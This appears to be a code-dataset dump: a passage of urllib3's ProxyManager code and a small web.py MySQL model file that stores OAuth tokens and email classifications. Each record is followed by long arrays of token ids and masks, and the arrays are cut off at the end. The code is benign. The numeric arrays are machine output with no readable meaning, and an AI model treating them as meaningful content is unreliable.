'https://httpbin.org/') >>> r4 = proxy.request('GET', 'https://twitter.com/') >>> len(proxy.pools) 3 """ def __init__(self, proxy_url, num_pools=10, headers=None, proxy_headers=None, **connection_pool_kw): if isinstance(proxy_url, HTTPConnectionPool): proxy_url = '%s://%s:%i' % (proxy_url.scheme, proxy_url.host, proxy_url.port) proxy = parse_url(proxy_url) if not proxy.port: port = port_by_scheme.get(proxy.scheme, 80) proxy = proxy._replace(port=port) assert proxy.scheme in ("http", "https"), \ 'Not supported proxy scheme %s' % proxy.scheme self.proxy = proxy self.proxy_headers = proxy_headers or {} connection_pool_kw['_proxy'] = self.proxy connection_pool_kw['_proxy_headers'] = self.proxy_headers super(ProxyManager, self).__init__( num_pools, headers, **connection_pool_kw) def connection_from_host(self, host, port=None, scheme='http'): if scheme == "https": return super(ProxyManager, self).connection_from_host( host, port, scheme) return super(ProxyManager, self).connection_from_host( self.proxy.host, self.proxy.port, self.proxy.scheme) def _set_proxy_headers(self, url, headers=None): """ Sets headers needed by proxies: specifically, the Accept and Host headers. Only sets headers not provided by the user. """ headers_ = {'Accept': '*/*'} netloc = parse_url(url).netloc if netloc: headers_['Host'] = netloc if headers: headers_.update(headers) return headers_ def urlopen(self, method, url, redirect=True, **kw): "Same as HTTP(S)ConnectionPool.urlopen, ``url`` must be absolute." u = parse_url(url) if u.scheme == "http": # For proxied HTTPS requests, httplib sets the necessary headers # on the CONNECT to the proxy. For HTTP, we'll definitely # need to set 'Host' at the very least. headers = kw.get('headers', self.headers) kw['headers'] = self._set_proxy_headers(url, headers) return super(ProxyManager, self).urlopen(method, url, redirect=redirect, **kw) def proxy_from_url(url, **kw): return ProxyManager(proxy_url=url, **kw)
gpl-3.0
[ 646, 2050, 199, 199, 893, 26, 221, 327, 2018, 650, 272, 687, 4011, 14, 1122, 492, 20818, 199, 2590, 3545, 26, 272, 687, 7097, 492, 20818, 199, 199, 504, 13653, 7882, 492, 799, 2946, 590, 9167, 4076, 199, 504, 1275, 2105, 2293, 492, 3101, 23929, 12, 14147, 23929, 199, 504, 1275, 2105, 2293, 492, 1844, 63, 991, 63, 5512, 199, 504, 1275, 3924, 492, 12625, 3393, 12, 8228, 12989, 547, 199, 504, 1275, 1069, 492, 4784, 10385, 199, 504, 1275, 1974, 14, 633, 492, 2198, 63, 633, 199, 504, 1275, 1974, 14, 7154, 492, 20506, 421, 199, 363, 452, 363, 275, 788, 5453, 2988, 297, 283, 4936, 2988, 297, 283, 3280, 63, 504, 63, 633, 418, 421, 199, 2293, 63, 2888, 63, 991, 63, 5512, 275, 469, 272, 283, 1014, 356, 3101, 23929, 12, 272, 283, 2859, 356, 14147, 23929, 12, 199, 93, 199, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 5413, 63, 32187, 275, 661, 498, 63, 493, 297, 283, 4736, 63, 493, 297, 283, 4736, 63, 12720, 297, 283, 696, 63, 8356, 297, 355, 283, 4266, 63, 1023, 358, 421, 199, 533, 15553, 2988, 8, 2017, 10385, 304, 272, 408, 272, 22819, 367, 9697, 4145, 1830, 17265, 590, 22181, 4426, 402, 272, 5784, 1950, 20092, 367, 1265, 14, 339, 520, 635, 1967, 63, 12406, 26, 267, 4860, 402, 1950, 20092, 370, 2581, 2544, 16895, 316, 314, 5210, 267, 23568, 1202, 4203, 14, 339, 520, 635, 2323, 26, 267, 21391, 370, 2387, 543, 1006, 4145, 12, 7444, 1163, 2323, 787, 1627, 267, 7662, 14, 339, 520, 635, 971, 538, 2105, 63, 2293, 63, 829, 26, 267, 10961, 2633, 787, 1202, 370, 1218, 17480, 267, 520, 533, 1705, 4078, 19, 14, 2105, 2293, 14, 23929, 64, 4454, 14, 339, 5679, 447, 398, 1306, 5256, 275, 15553, 2988, 8, 1507, 63, 12406, 29, 18, 9, 267, 1306, 519, 275, 5256, 14, 1069, 360, 2970, 297, 283, 1014, 921, 3098, 14, 957, 6217, 267, 1306, 519, 275, 5256, 14, 1069, 360, 2970, 297, 283, 1014, 921, 3098, 14, 957, 15, 1198, 358, 267, 1306, 519, 275, 5256, 14, 1069, 360, 2970, 297, 283, 1014, 921, 27231, 14, 957, 6217, 267, 1306, 822, 8, 2609, 14, 12406, 9, 267, 499, 339, 408, 339, 4566, 275, 488, 339, 347, 636, 826, 721, 277, 12, 1967, 63, 12406, 29, 709, 12, 2323, 29, 403, 12, 1011, 2105, 63, 2293, 63, 829, 304, 267, 4784, 10385, 855, 826, 721, 277, 12, 2323, 9, 267, 291, 14, 2105, 63, 2293, 63, 829, 275, 1950, 63, 2293, 63, 829, 267, 291, 14, 12406, 275, 799, 2946, 590, 9167, 4076, 8, 1507, 63, 12406, 12, 5644, 2153, 4070, 63, 1532, 29, 2734, 299, 26, 299, 14, 1600, 1012, 339, 347, 636, 4200, 721, 277, 304, 267, 372, 291, 339, 347, 636, 2224, 721, 277, 12, 3178, 63, 466, 12, 3178, 63, 637, 12, 3178, 63, 5842, 304, 267, 291, 14, 3584, 342, 267, 327, 1432, 756, 370, 295, 13, 3730, 1263, 12330, 4967, 267, 372, 756, 339, 347, 485, 1222, 63, 2293, 8, 277, 12, 5687, 12, 1591, 12, 1844, 304, 267, 408, 267, 2790, 282, 892, 520, 533, 1705, 23929, 64, 4079, 641, 1591, 12, 1844, 436, 5687, 14, 398, 961, 1083, 365, 1202, 370, 5965, 1218, 314, 1950, 20092, 394, 7028, 734, 267, 701, 520, 5247, 1705, 2105, 63, 504, 63, 633, 64, 436, 1013, 32012, 3102, 14, 2779, 365, 11619, 267, 370, 506, 10087, 367, 32715, 14, 267, 408, 267, 4203, 63, 1886, 275, 4203, 63, 2888, 63, 991, 63, 5512, 59, 5512, 61, 267, 2074, 275, 291, 14, 2105, 63, 2293, 63, 829, 267, 340, 5687, 508, 283, 1014, 356, 288, 2074, 275, 291, 14, 2105, 63, 2293, 63, 829, 14, 1574, 342, 288, 367, 4775, 315, 7799, 63, 32187, 26, 355, 2074, 14, 1935, 8, 829, 12, 488, 9, 398, 372, 4203, 63, 1886, 8, 1102, 12, 1844, 12, 1011, 958, 9, 339, 347, 5436, 8, 277, 304, 267, 408, 267, 9630, 4154, 3877, 402, 20092, 436, 4125, 3062, 1006, 370, 4002, 14, 398, 961, 911, 440, 12787, 315, 13, 28807, 6947, 12, 1325, 2985, 911, 440, 506, 267, 295, 13, 2972, 2410, 13659, 14, 267, 408, 267, 291, 14, 12406, 14, 3584, 342, 339, 347, 1950, 63, 504, 63, 1102, 8, 277, 12, 1591, 12, 1844, 29, 403, 12, 5687, 534, 1014, 735, 267, 408, 267, 2372, 282, 520, 533, 1705, 23929, 64, 4079, 641, 314, 1591, 12, 1844, 12, 436, 5687, 14, 398, 982, 1124, 719, 1040, 5712, 1133, 1627, 12, 652, 911, 506, 7131, 687, 314, 1124, 5512, 1040, 1808, 267, 1124, 4078, 19, 14, 2105, 2293, 14, 719, 63, 991, 63, 5512, 4345, 267, 408, 398, 340, 440, 1591, 26, 288, 746, 12625, 3393, 480, 1944, 1591, 2013, 2685, 398, 5687, 275, 5687, 503, 283, 1014, 7, 267, 1844, 275, 1844, 503, 1844, 63, 991, 63, 5512, 14, 362, 8, 5512, 12, 5939, 9, 267, 4203, 63, 498, 275, 334, 5512, 12, 1591, 12, 1844, 9, 398, 543, 291, 14, 12406, 14, 831, 26, 288, 327, 982, 314, 5687, 12, 1591, 12, 503, 1844, 3181, 1133, 1336, 3411, 1551, 288, 327, 6947, 12, 1551, 282, 892, 8113, 5453, 14, 288, 4203, 275, 291, 14, 12406, 14, 362, 8, 2293, 63, 498, 9, 288, 340, 4203, 26, 355, 372, 4203, 953, 327, 4155, 282, 17480, 8113, 5453, 402, 314, 6387, 730, 288, 4203, 275, 291, 423, 1222, 63, 2293, 8, 5512, 12, 1591, 12, 1844, 9, 288, 291, 14, 12406, 59, 2293, 63, 498, 61, 275, 4203, 398, 372, 4203, 339, 347, 1950, 63, 504, 63, 633, 8, 277, 12, 1166, 304, 267, 408, 267, 20046, 370, 520, 1532, 1705, 4078, 19, 14, 2105, 2293, 14, 2105, 63, 504, 63, 633, 64, 1325, 267, 3181, 1133, 986, 1263, 4722, 2633, 370, 314, 267, 520, 533, 1705, 4078, 19, 14, 2105, 2293, 14, 23929, 64, 3787, 14, 398, 10961, 2633, 787, 9394, 687, 314, 520, 533, 5026, 5453, 2988, 64, 267, 3787, 14, 267, 408, 267, 399, 275, 2198, 63, 633, 8, 633, 9, 267, 372, 291, 14, 2105, 63, 504, 63, 1102, 8, 85, 14, 1102, 12, 1844, 29, 85, 14 ]
[ 2050, 199, 199, 893, 26, 221, 327, 2018, 650, 272, 687, 4011, 14, 1122, 492, 20818, 199, 2590, 3545, 26, 272, 687, 7097, 492, 20818, 199, 199, 504, 13653, 7882, 492, 799, 2946, 590, 9167, 4076, 199, 504, 1275, 2105, 2293, 492, 3101, 23929, 12, 14147, 23929, 199, 504, 1275, 2105, 2293, 492, 1844, 63, 991, 63, 5512, 199, 504, 1275, 3924, 492, 12625, 3393, 12, 8228, 12989, 547, 199, 504, 1275, 1069, 492, 4784, 10385, 199, 504, 1275, 1974, 14, 633, 492, 2198, 63, 633, 199, 504, 1275, 1974, 14, 7154, 492, 20506, 421, 199, 363, 452, 363, 275, 788, 5453, 2988, 297, 283, 4936, 2988, 297, 283, 3280, 63, 504, 63, 633, 418, 421, 199, 2293, 63, 2888, 63, 991, 63, 5512, 275, 469, 272, 283, 1014, 356, 3101, 23929, 12, 272, 283, 2859, 356, 14147, 23929, 12, 199, 93, 199, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 5413, 63, 32187, 275, 661, 498, 63, 493, 297, 283, 4736, 63, 493, 297, 283, 4736, 63, 12720, 297, 283, 696, 63, 8356, 297, 355, 283, 4266, 63, 1023, 358, 421, 199, 533, 15553, 2988, 8, 2017, 10385, 304, 272, 408, 272, 22819, 367, 9697, 4145, 1830, 17265, 590, 22181, 4426, 402, 272, 5784, 1950, 20092, 367, 1265, 14, 339, 520, 635, 1967, 63, 12406, 26, 267, 4860, 402, 1950, 20092, 370, 2581, 2544, 16895, 316, 314, 5210, 267, 23568, 1202, 4203, 14, 339, 520, 635, 2323, 26, 267, 21391, 370, 2387, 543, 1006, 4145, 12, 7444, 1163, 2323, 787, 1627, 267, 7662, 14, 339, 520, 635, 971, 538, 2105, 63, 2293, 63, 829, 26, 267, 10961, 2633, 787, 1202, 370, 1218, 17480, 267, 520, 533, 1705, 4078, 19, 14, 2105, 2293, 14, 23929, 64, 4454, 14, 339, 5679, 447, 398, 1306, 5256, 275, 15553, 2988, 8, 1507, 63, 12406, 29, 18, 9, 267, 1306, 519, 275, 5256, 14, 1069, 360, 2970, 297, 283, 1014, 921, 3098, 14, 957, 6217, 267, 1306, 519, 275, 5256, 14, 1069, 360, 2970, 297, 283, 1014, 921, 3098, 14, 957, 15, 1198, 358, 267, 1306, 519, 275, 5256, 14, 1069, 360, 2970, 297, 283, 1014, 921, 27231, 14, 957, 6217, 267, 1306, 822, 8, 2609, 14, 12406, 9, 267, 499, 339, 408, 339, 4566, 275, 488, 339, 347, 636, 826, 721, 277, 12, 1967, 63, 12406, 29, 709, 12, 2323, 29, 403, 12, 1011, 2105, 63, 2293, 63, 829, 304, 267, 4784, 10385, 855, 826, 721, 277, 12, 2323, 9, 267, 291, 14, 2105, 63, 2293, 63, 829, 275, 1950, 63, 2293, 63, 829, 267, 291, 14, 12406, 275, 799, 2946, 590, 9167, 4076, 8, 1507, 63, 12406, 12, 5644, 2153, 4070, 63, 1532, 29, 2734, 299, 26, 299, 14, 1600, 1012, 339, 347, 636, 4200, 721, 277, 304, 267, 372, 291, 339, 347, 636, 2224, 721, 277, 12, 3178, 63, 466, 12, 3178, 63, 637, 12, 3178, 63, 5842, 304, 267, 291, 14, 3584, 342, 267, 327, 1432, 756, 370, 295, 13, 3730, 1263, 12330, 4967, 267, 372, 756, 339, 347, 485, 1222, 63, 2293, 8, 277, 12, 5687, 12, 1591, 12, 1844, 304, 267, 408, 267, 2790, 282, 892, 520, 533, 1705, 23929, 64, 4079, 641, 1591, 12, 1844, 436, 5687, 14, 398, 961, 1083, 365, 1202, 370, 5965, 1218, 314, 1950, 20092, 394, 7028, 734, 267, 701, 520, 5247, 1705, 2105, 63, 504, 63, 633, 64, 436, 1013, 32012, 3102, 14, 2779, 365, 11619, 267, 370, 506, 10087, 367, 32715, 14, 267, 408, 267, 4203, 63, 1886, 275, 4203, 63, 2888, 63, 991, 63, 5512, 59, 5512, 61, 267, 2074, 275, 291, 14, 2105, 63, 2293, 63, 829, 267, 340, 5687, 508, 283, 1014, 356, 288, 2074, 275, 291, 14, 2105, 63, 2293, 63, 829, 14, 1574, 342, 288, 367, 4775, 315, 7799, 63, 32187, 26, 355, 2074, 14, 1935, 8, 829, 12, 488, 9, 398, 372, 4203, 63, 1886, 8, 1102, 12, 1844, 12, 1011, 958, 9, 339, 347, 5436, 8, 277, 304, 267, 408, 267, 9630, 4154, 3877, 402, 20092, 436, 4125, 3062, 1006, 370, 4002, 14, 398, 961, 911, 440, 12787, 315, 13, 28807, 6947, 12, 1325, 2985, 911, 440, 506, 267, 295, 13, 2972, 2410, 13659, 14, 267, 408, 267, 291, 14, 12406, 14, 3584, 342, 339, 347, 1950, 63, 504, 63, 1102, 8, 277, 12, 1591, 12, 1844, 29, 403, 12, 5687, 534, 1014, 735, 267, 408, 267, 2372, 282, 520, 533, 1705, 23929, 64, 4079, 641, 314, 1591, 12, 1844, 12, 436, 5687, 14, 398, 982, 1124, 719, 1040, 5712, 1133, 1627, 12, 652, 911, 506, 7131, 687, 314, 1124, 5512, 1040, 1808, 267, 1124, 4078, 19, 14, 2105, 2293, 14, 719, 63, 991, 63, 5512, 4345, 267, 408, 398, 340, 440, 1591, 26, 288, 746, 12625, 3393, 480, 1944, 1591, 2013, 2685, 398, 5687, 275, 5687, 503, 283, 1014, 7, 267, 1844, 275, 1844, 503, 1844, 63, 991, 63, 5512, 14, 362, 8, 5512, 12, 5939, 9, 267, 4203, 63, 498, 275, 334, 5512, 12, 1591, 12, 1844, 9, 398, 543, 291, 14, 12406, 14, 831, 26, 288, 327, 982, 314, 5687, 12, 1591, 12, 503, 1844, 3181, 1133, 1336, 3411, 1551, 288, 327, 6947, 12, 1551, 282, 892, 8113, 5453, 14, 288, 4203, 275, 291, 14, 12406, 14, 362, 8, 2293, 63, 498, 9, 288, 340, 4203, 26, 355, 372, 4203, 953, 327, 4155, 282, 17480, 8113, 5453, 402, 314, 6387, 730, 288, 4203, 275, 291, 423, 1222, 63, 2293, 8, 5512, 12, 1591, 12, 1844, 9, 288, 291, 14, 12406, 59, 2293, 63, 498, 61, 275, 4203, 398, 372, 4203, 339, 347, 1950, 63, 504, 63, 633, 8, 277, 12, 1166, 304, 267, 408, 267, 20046, 370, 520, 1532, 1705, 4078, 19, 14, 2105, 2293, 14, 2105, 63, 504, 63, 633, 64, 1325, 267, 3181, 1133, 986, 1263, 4722, 2633, 370, 314, 267, 520, 533, 1705, 4078, 19, 14, 2105, 2293, 14, 23929, 64, 3787, 14, 398, 10961, 2633, 787, 9394, 687, 314, 520, 533, 5026, 5453, 2988, 64, 267, 3787, 14, 267, 408, 267, 399, 275, 2198, 63, 633, 8, 633, 9, 267, 372, 291, 14, 2105, 63, 504, 63, 1102, 8, 85, 14, 1102, 12, 1844, 29, 85, 14, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
NealJMD/Grinbox-server
model.py
1
1934
import web import time db = web.database(dbn='mysql', db='grinbox', user='root') def get_tokens(address): values = {'address': address} matches = db.select('tokens', vars=values, where='address=$address') if len(matches) > 0: return matches[0] return None def new_tokens(address, auth='', refresh=''): values = {'address': address, 'auth': auth, 'refresh':refresh} db.query("INSERT INTO tokens (address, auth, refresh) VALUES ($address, $auth, $refresh) ON DUPLICATE KEY UPDATE auth=$auth, refresh=$refresh", vars=values) # db.insert('tokens', address=address, auth=auth, refresh=refresh) def get_classification_without_uid(recipient, sender, time, subject): values = {'recipient': recipient, 'time': time, 'subject': subject, 'sender': sender } matches = db.select('classifications', vars=values, where='recipient = $recipient AND time = $time AND subject = $subject AND sender = $sender', order='time DESC') if len(matches) > 0: return matches[0] matches = db.select('classifications', vars=values, where='recipient = $recipient AND time = $time', order='time DESC') if len(matches) > 0: return matches[0] return None def get_classification(recipient, uid): values={'recipient': recipient, 'uid': uid} matches = db.select('classifications', vars=values, where='recipient=$recipient AND uid=$uid') if len(matches) > 0: return matches[0] return None def new_classification(recipient, sender, time, subject, formality, sentiment, commercialism, uid): values = { 'recipient': recipient, 'sender': sender, 'time': time, 'subject': subject, 'formality': formality, 'sentiment': sentiment, 'commercialism': commercialism, 'uid': uid } db.query("INSERT IGNORE INTO classifications (recipient, sender, time, subject, formality, sentiment, commercialism, uid) VALUES ($recipient, $sender, $time, $subject, $formality, $sentiment, $commercialism, $uid)", vars=values)
gpl-3.0
[ 646, 3330, 199, 646, 900, 199, 199, 697, 275, 3330, 14, 4659, 8, 697, 78, 534, 8644, 297, 1592, 534, 2587, 27515, 297, 922, 534, 1231, 358, 199, 199, 318, 664, 63, 4504, 8, 1562, 304, 199, 198, 1459, 275, 791, 1562, 356, 2287, 93, 199, 198, 6742, 275, 1592, 14, 2416, 360, 4504, 297, 6802, 29, 1459, 12, 2382, 534, 1562, 28617, 1562, 358, 199, 198, 692, 822, 8, 6742, 9, 690, 378, 26, 372, 4450, 59, 16, 61, 199, 198, 1107, 488, 199, 199, 318, 892, 63, 4504, 8, 1562, 12, 1790, 4581, 9236, 9280, 199, 198, 1459, 275, 791, 1562, 356, 2287, 12, 283, 1178, 356, 1790, 12, 283, 6635, 356, 6635, 93, 199, 198, 697, 14, 1131, 480, 10258, 12872, 4645, 334, 1562, 12, 1790, 12, 9236, 9, 13992, 334, 4, 1562, 12, 2672, 1178, 12, 2672, 6635, 9, 5258, 577, 2160, 2507, 1951, 9301, 17148, 1790, 28617, 1178, 12, 9236, 28617, 6635, 401, 6802, 29, 1459, 9, 199, 198, 3, 1592, 14, 3176, 360, 4504, 297, 2287, 29, 1562, 12, 1790, 29, 1178, 12, 9236, 29, 6635, 9, 199, 199, 318, 664, 63, 14368, 63, 7395, 63, 1535, 8, 10043, 12, 8904, 12, 900, 12, 5420, 304, 199, 198, 1459, 275, 791, 10043, 356, 10318, 12, 1585, 198, 1133, 1036, 356, 900, 12, 1585, 198, 1159, 456, 963, 356, 5420, 12, 1585, 198, 1159, 13747, 356, 8904, 789, 199, 198, 6742, 275, 1592, 14, 2416, 360, 14368, 83, 297, 6802, 29, 1459, 12, 11083, 198, 4509, 534, 10043, 275, 2672, 10043, 2401, 900, 275, 2672, 521, 2401, 5420, 275, 2672, 5875, 2401, 8904, 275, 2672, 8114, 297, 1865, 534, 521, 23915, 358, 199, 198, 692, 822, 8, 6742, 9, 690, 378, 26, 372, 4450, 59, 16, 61, 199, 198, 6742, 275, 1592, 14, 2416, 360, 14368, 83, 297, 6802, 29, 1459, 12, 11083, 198, 4509, 534, 10043, 275, 2672, 10043, 2401, 900, 275, 2672, 521, 297, 1865, 534, 521, 23915, 358, 199, 198, 692, 822, 8, 6742, 9, 690, 378, 26, 372, 4450, 59, 16, 61, 199, 198, 1107, 488, 198, 199, 199, 318, 664, 63, 14368, 8, 10043, 12, 1747, 304, 199, 198, 1459, 3713, 10043, 356, 10318, 12, 686, 198, 7, 1535, 356, 1747, 93, 199, 198, 6742, 275, 1592, 14, 2416, 360, 14368, 83, 297, 6802, 29, 1459, 12, 2382, 534, 10043, 28617, 10043, 2401, 1747, 28617, 1535, 358, 199, 198, 692, 822, 8, 6742, 9, 690, 378, 26, 372, 4450, 59, 16, 61, 199, 198, 1107, 488, 199, 199, 318, 892, 63, 14368, 8, 10043, 12, 8904, 12, 900, 12, 5420, 12, 1824, 6712, 12, 4334, 280, 434, 12, 2414, 23012, 19185, 12, 1747, 304, 199, 198, 1459, 275, 469, 221, 283, 10043, 356, 10318, 12, 1585, 198, 1159, 13747, 356, 8904, 12, 1585, 198, 1133, 1036, 356, 900, 12, 1585, 198, 1159, 456, 963, 356, 5420, 12, 1585, 198, 7, 964, 6712, 356, 1824, 6712, 12, 1585, 198, 1159, 287, 280, 434, 356, 4334, 280, 434, 12, 1585, 198, 7, 957, 23012, 19185, 356, 2414, 23012, 19185, 12, 1585, 198, 7, 1535, 356, 1747, 789, 199, 198, 697, 14, 1131, 480, 10258, 27499, 5788, 12872, 12505, 83, 334, 10043, 12, 8904, 12, 900, 12, 5420, 12, 1824, 6712, 12, 4334, 280, 434, 12, 2414, 23012, 19185, 12, 1747, 9, 13992, 334, 4, 10043, 12, 2672, 8114, 12, 2672, 521, 12, 2672, 5875, 12, 2672, 964, 6712, 12, 2672, 2464, 280, 434, 12, 2672, 957, 23012, 19185, 12, 2672, 1535, 4186, 6802, 29, 1459, 9, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 3330, 199, 646, 900, 199, 199, 697, 275, 3330, 14, 4659, 8, 697, 78, 534, 8644, 297, 1592, 534, 2587, 27515, 297, 922, 534, 1231, 358, 199, 199, 318, 664, 63, 4504, 8, 1562, 304, 199, 198, 1459, 275, 791, 1562, 356, 2287, 93, 199, 198, 6742, 275, 1592, 14, 2416, 360, 4504, 297, 6802, 29, 1459, 12, 2382, 534, 1562, 28617, 1562, 358, 199, 198, 692, 822, 8, 6742, 9, 690, 378, 26, 372, 4450, 59, 16, 61, 199, 198, 1107, 488, 199, 199, 318, 892, 63, 4504, 8, 1562, 12, 1790, 4581, 9236, 9280, 199, 198, 1459, 275, 791, 1562, 356, 2287, 12, 283, 1178, 356, 1790, 12, 283, 6635, 356, 6635, 93, 199, 198, 697, 14, 1131, 480, 10258, 12872, 4645, 334, 1562, 12, 1790, 12, 9236, 9, 13992, 334, 4, 1562, 12, 2672, 1178, 12, 2672, 6635, 9, 5258, 577, 2160, 2507, 1951, 9301, 17148, 1790, 28617, 1178, 12, 9236, 28617, 6635, 401, 6802, 29, 1459, 9, 199, 198, 3, 1592, 14, 3176, 360, 4504, 297, 2287, 29, 1562, 12, 1790, 29, 1178, 12, 9236, 29, 6635, 9, 199, 199, 318, 664, 63, 14368, 63, 7395, 63, 1535, 8, 10043, 12, 8904, 12, 900, 12, 5420, 304, 199, 198, 1459, 275, 791, 10043, 356, 10318, 12, 1585, 198, 1133, 1036, 356, 900, 12, 1585, 198, 1159, 456, 963, 356, 5420, 12, 1585, 198, 1159, 13747, 356, 8904, 789, 199, 198, 6742, 275, 1592, 14, 2416, 360, 14368, 83, 297, 6802, 29, 1459, 12, 11083, 198, 4509, 534, 10043, 275, 2672, 10043, 2401, 900, 275, 2672, 521, 2401, 5420, 275, 2672, 5875, 2401, 8904, 275, 2672, 8114, 297, 1865, 534, 521, 23915, 358, 199, 198, 692, 822, 8, 6742, 9, 690, 378, 26, 372, 4450, 59, 16, 61, 199, 198, 6742, 275, 1592, 14, 2416, 360, 14368, 83, 297, 6802, 29, 1459, 12, 11083, 198, 4509, 534, 10043, 275, 2672, 10043, 2401, 900, 275, 2672, 521, 297, 1865, 534, 521, 23915, 358, 199, 198, 692, 822, 8, 6742, 9, 690, 378, 26, 372, 4450, 59, 16, 61, 199, 198, 1107, 488, 198, 199, 199, 318, 664, 63, 14368, 8, 10043, 12, 1747, 304, 199, 198, 1459, 3713, 10043, 356, 10318, 12, 686, 198, 7, 1535, 356, 1747, 93, 199, 198, 6742, 275, 1592, 14, 2416, 360, 14368, 83, 297, 6802, 29, 1459, 12, 2382, 534, 10043, 28617, 10043, 2401, 1747, 28617, 1535, 358, 199, 198, 692, 822, 8, 6742, 9, 690, 378, 26, 372, 4450, 59, 16, 61, 199, 198, 1107, 488, 199, 199, 318, 892, 63, 14368, 8, 10043, 12, 8904, 12, 900, 12, 5420, 12, 1824, 6712, 12, 4334, 280, 434, 12, 2414, 23012, 19185, 12, 1747, 304, 199, 198, 1459, 275, 469, 221, 283, 10043, 356, 10318, 12, 1585, 198, 1159, 13747, 356, 8904, 12, 1585, 198, 1133, 1036, 356, 900, 12, 1585, 198, 1159, 456, 963, 356, 5420, 12, 1585, 198, 7, 964, 6712, 356, 1824, 6712, 12, 1585, 198, 1159, 287, 280, 434, 356, 4334, 280, 434, 12, 1585, 198, 